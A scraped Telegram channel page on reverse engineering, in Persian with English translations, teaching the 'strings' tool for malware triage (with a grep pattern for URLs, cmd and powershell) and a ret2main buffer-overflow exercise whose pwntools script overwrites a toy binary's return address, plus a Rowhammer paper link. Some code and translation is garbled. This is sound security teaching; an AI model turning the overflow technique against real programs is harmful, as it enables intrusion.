ReverseEngineering – Telegram
ReverseEngineering
1.24K subscribers
40 photos
10 videos
55 files
666 links
Download Telegram
ابزار strings یکی از ابزارهای پایه‌ ای اما بسیار کاربردی در دنیای مهندسی معکوس فارنزیک و تحلیل بدافزاره این ابزار برای استخراج رشته‌ های متنی قابل‌ خوندن Printable Strings از فایل‌ های باینری استفاده میشه

کاربرد

وقتی یک فایل باینری مثل Executable exe، ELF، dll و غیره رو باز میکنید بیشتر دیتا ها در قالب باینری و غیرقابل‌ خوندنن اما بخش‌ هایی از اونها ممکنه شامل رشته‌های ASCII یا Unicode باشه

مثلا:

مسیر فایل‌ ها

URL ها

اسم API ها

کلید های رجیستری

پیغام‌های خطا

و حتی نام کاربر یا رمز عبور هارد کد شده


ابزار strings دقیقا همین قسمت‌ ها رو بیرون میکشه




چجوری استفاده کنید

در لینوکس GNU binutils

strings [options] <filename>


مثال ساده:

strings malware_sample.exe


این دستور تمام رشته‌ های قابل چاپ ASCII با طول پیش‌ فرض 4 کاراکتر یا بیشتر رو نشان میده



دستورات مهم

توضیح دستورات

-n <number>
تعیین حداقل طول رشته مثلا -n 6


-e l
سرچ برای رشته های یونیکد UTF-16LE مهم برای فایل های ویندوز


-t x
نمایش ادرس افست هر رشته به صورت هگز



-a
سرچ داخل کل فایل حتی بخش هایی که کامل نادیده گرفته میشن


-f نمایش نام فایل قبل از هر رشته خیلی مهمه برای تحلیل بدافزار


مثال‌ های کاربردی

استخراج رشته‌ های معمولی از فایل اجرایی

strings program.exe > strings.txt


خروجی داخل فایل strings.txt ذخیره میشه تا بتونید راحت‌ تر سرچ کنید


استخراج رشته‌های Unicode
مخصوص ویندوز

strings -e l malware.exe > unicode_strings.txt


چون تعداد زیادی از رشته‌ها در PE Files به‌ صورت Unicode ذخیره میشن


نمایش رشته‌ ها با آدرس در فایل

strings -t x suspicious.dll | grep "http"


برای پیدا کردن URL ها و دیدن محل تقریبی اونها داخل فایل


استخراج همزمان از چند فایل

strings -f *.exe | grep "api"


نشون میده توی کدوم فایل رشته‌ ی مورد نظر رو دیدید


نکات برای تحلیل بدافزار

در تحلیل بدافزارها strings معمولا اولین  قدمه

میتونید چیزهایی مثل:

دامنه‌های C2 (Command & Control)

مسیرهای فایل‌های موقت

آدرس‌های API مشکوک

رشته‌ های رمزنگاری‌ شده قبل از دیکد شدن رو شناسایی کنید

مثلا:

strings sample.exe | grep -Ei "http|ftp|.onion|cmd|powershell"



نکته

برای فایل‌های PE یا ELF ابزارهایی مثل زیر مکمل strings هستن:

ابزار:

rabin2 -zz
استخراج رشته‌ ها با جزئیات بیشتر

binwalk
برای استخراج و آنالیز باینری‌ های Embedded


floss (FireEye)
نسخه‌ی پیشرفته‌ تر strings
که رشته‌ های رمز شده و دیکد شده هم استخراج میکنه



The strings tool is one of the basic but very useful tools in the world of forensic reverse engineering and malware analysis. This tool is used to extract readable text strings Printable Strings from binary files.

Usage

When you open a binary file like Executable exe, ELF, dll, etc., most of the data is in binary format and unreadable, but parts of it may contain ASCII or Unicode strings.

For example:

File paths

URLs

API names

Registry keys

Error messages

And even hardcoded usernames or passwords

The strings tool extracts exactly these parts.

How to use

In Linux GNU binutils

strings [options] <filename>


Simple example:

strings malware_sample.exe


This command shows all printable ASCII strings with a default length of four characters or more

Important commands

Explanation Commands

-n <number> Set the minimum string length, e.g. -n 6

-e l Search for Unicode UTF-16LE strings Important for Windows files

-t x Display the offset address of each string in hex

-a Search the entire file, even parts that are completely ignored

-f Display the file name before each string Very important for malware analysis

Useful examples

Extracting regular strings from an executable file

strings program.exe > strings.txt


The output is saved in the strings.txt file so that you can search more easily

Extracting Unicode strings
Specific to Windows

strings -e l malware.exe > unicode_strings.txt


Because a large number of strings are stored in PE Files as Unicode

Display strings with addresses in the file

strings -t x suspicious.dll | grep "http"


To find URLs and see their approximate location in the file

Extract multiple files at once

strings -f *.exe | grep "api"


Shows in which file you saw the string

Tips for malware analysis

In malware analysis, strings are usually the first step

You can find things like:
3
C2 (Command & Control) domains

Temporary file paths

Suspicious API addresses

Identify encrypted strings before decoding

For example:

strings sample.exe | grep -Ei "http|ftp|.onion|cmd|powershell"


Note

For PE or ELF files, there are tools like the following to complement strings:

Tools:

rabin2 -zz
Extract strings in more detail

binwalk
For extracting and analyzing embedded binaries

floss (FireEye)
A more advanced version of strings
that extracts both encrypted and decoded strings


@reverseengine
3
کنترل return address

کنترل آدرس برگشت

با یک تمرین ساده ثابت میکنیم میتونیم آدرسِ برگشت برنامه رو تغییر بدیم و اجرای برنامه رو به‌ جایی که خودمون میخوایم برگردونیم

مراحل:

آدرس تابع main رو به‌ دست میاریم


با همون اندازه‌ ای که قبلا با cyclic پیدا کردیم با بافر پر میکنیم


به‌ جای آدرس برگشت قبلی آدرس main رو میذاریم تا برنامه دوباره از اول اجرا شه


همه این کار ها فقط در VM انجام بشه این آموزش صرفا برای یادگیری ساختار حافظه و دیباگه



کنترل آدرس برگشت آدرس main رو میگیریم بافر رو تا همون طول پر میکنیم و آدرس main رو میذاریم جای return

نتیجه: برنامه دوباره «Enter some text:» رو چاپ میکنه  یعنی کنترل برگشت رو گرفتیم فقط توی VM اجرا کنید

پیدا کردن آدرس تابع main

راحت‌ترین روش با nm یا داخل gdb:

# گزینه A: با nm
nm -C vuln_plain | grep " main$"

# خروجی مشابه:
# 0000000000401136 T main

# گزینه B: داخل gdb
gdb ./vuln_plain
(gdb) p main
# یا
(gdb) info address main
# آدرس رو یادداشت کنید مثلا: 0x401136

آدرس مثال بالا فرضیه ادرس واقعی رو از خروجی خودتون بگیر


کد فایل ret2main.py

#!/usr/bin/env python3
from pwn import *

exe = './vuln_plain'      # فایل باینری که قبلا ساختید
context.binary = exe

def main():
    p = process([exe])    #
برنامه رو اجرا کنید داخل VM

    offset = 72           # <--
اینو با همون
عددی که با cyclic_find پیدا کردید پر کنید
    main_addr = 0x401136  # <-- آدرس  main  از تابع nm یا gdb بذارید اینجا

    # می‌سازیم یک payload ساده: n تا 'A' تا برسیم به همون
offset

    # بعد 8 بایت آدرس main (p64) میریزیم تا return address رو overwrite کنیم
    payload = b"A" * offset + p64(main_addr)

    # برنامه منتظر ورودیه پیام اولیه رو میخونه:
    p.recvuntil(b"Enter some text:")
    p.sendline(payload)   # payload رو میفرستیم

    # اگر برگشته باشه به main دوباره همین پیام رو چاپ میکنه
    # پس میتونیم چک کنیم که پیام دوباره اومد یا نه
    try:
        print(p.recvline(timeout=1))  # خروجی کوتاه رو چاپ کنید
    except EOFError:
        print("برنامه بسته شد یا چیزی برگشت نیومد")

if name == "main":
    main(

)

توضیح هر خط:

offset = چند تا حرف باید بریزید تا به آدرس برگشت برسید

main_addr =
آدرسی که میخواید اجرای برنامه برگرده اونجا از nm یا gdb بگیرید

p64() فقط آدرس رو مبزاره توی قالب
8 بایتی که سیستم میفهمه

اگر بعد از فرستادن payload دیدید پیام «Enter some text:» دوباره اومد یعنی موفق شدید کنترل return رو بگیرید


اجرای دستورات gdb و بررسی رجیستر ها:

داخل ترمینال:


gdb ./vuln_plain
(gdb) break vuln
(gdb) rub
# وقتی متوقف شد:
# داخل ترمینال دیگه:
python3 ret2main.py  # تا payload ارسال بشه
# بعد در gdb:
(gdb) info registers
(gdb) x/40x $rsp
(gdb) bt

بعد از اجرای اسکریپت bt و مقدار RIP رو بررسی کنید باید آدرس main رو داخل RIP یا در برگشتی که اجرا میشه ببین
ید

نکات
اگر vuln_plain با no-pie- ساخته شده باشه آدرس‌های توابع ثابتن و با nm/gdb میتونید مستقیم از آدرس استفاده کنید

اگر باینری PIE فعال باشه آدرس‌ ها رندوم ان باید ASLR رو خاموش کنید یا از leak استفاده کنید اما فعلا در این تمرین از نسخه no-pie- استفاده کنید

این تمرین اجرای کد مخرب نیست فقط اثبات overwrite و کنترل جریان هدف یادگیری ساختار حافظه و نحوه exploit سازی مرحله‌ به‌ مرحله است


Return address control

With a simple exercise, we prove that we can change the return address of the program and return the program execution to the place we want

Steps:

We get the address of the main function

We fill the buffer with the same size that we found before with cyclic

We put the main address in place of the previous return address so that the program can be executed again from the beginning

All these tasks should be done only in the VM. This tutorial is only for learning the memory structure and debugging

We get the return address control of the main address, fill the buffer to the same length and put the main address in place of return

Result: The program prints "Enter some text:" again, which means we got the return control. Just run it in the VM

Finding the address of the main function

The easiest way is with nm or inside gdb:

# Option A: with nm
nm -C vuln_plain | grep " main$"


# Similar output:
# 0000000000401136 T main
4🔥1
# Option B: Inside gdb
gdb ./vuln_plain
(gdb) p main
# or
(gdb) info address main
# Note the address, e.g.: 0x401136

The address in the example above is the actual address, take it from your output



Code of the file ret2main.py

#!/usr/bin/env python3
from pwn import *

exe = './vuln_plain'      # The binary file you created earlier
context.binary = exe

def main():
    p = process([exe])    #
Run the program inside the VM

    offset = 72          # <--
Fill this with the same
number you found with cyclic_find
    main_addr = 0x401136  # <-- Put the address of main from nm or gdb here

    # We create a simple payload: n to 'A' to reach the same
offset

    # Then we put 8 bytes of the main address (p64) to overwrite the return address
    payload = b"A" * offset + p64(main_addr)

    # The program waits for input to read the initial message:
    p.recvuntil(b"Enter some text:")
    p.sendline(payload)   # We send the payload

    # If it has returned to main, it prints the same message again
    # So we can check if the message came back or not
    try:
        print(p.recvline(timeout=1))  # Print the short output
    except EOFError:
        print("The program was closed or nothing was returned")

if name == "main":
    main(
)



Denoscription of each line:

offset = how many characters to put to Get the return address

main_addr =
The address you want to return to from nm or gdb

p64() just writes the address in the
8-byte format that the system understands

If after sending the payload you see the message "Enter some text:" comes back, it means you have successfully taken control of the return

Executing gdb commands and checking the registers:

In the terminal:

gdb ./vuln_plain
(gdb) break vuln
(gdb) rub
# When it stops:
# In another terminal:
python3 ret2main.py  # Until the payload is sent
# Then in gdb:
(gdb) info registers
(gdb) x/40x $rsp
(gdb) bt


After running the bt noscript and checking the RIP value, you should see the main address in the RIP or in the return that is executed

Notes
If vuln_plain is built with no-pie- The functions are fixed and you can use the address directly with nm/gdb

If the PIE binary is enabled, the addresses are random, you should turn off ASLR or use leak, but for now, use the no-pie- version for this exercise

This exercise is not about executing malicious code, just demonstrating overwrite and flow control. The goal is to learn the memory structure and how to exploit it step by step

@reverseengine
4🔥1👏1
Rowhammer Attacks on DDR5 with Self-Correcting Synchronization

https://comsec-files.ethz.ch/papers/phoenix_sp26.pdf

@reverseengine
3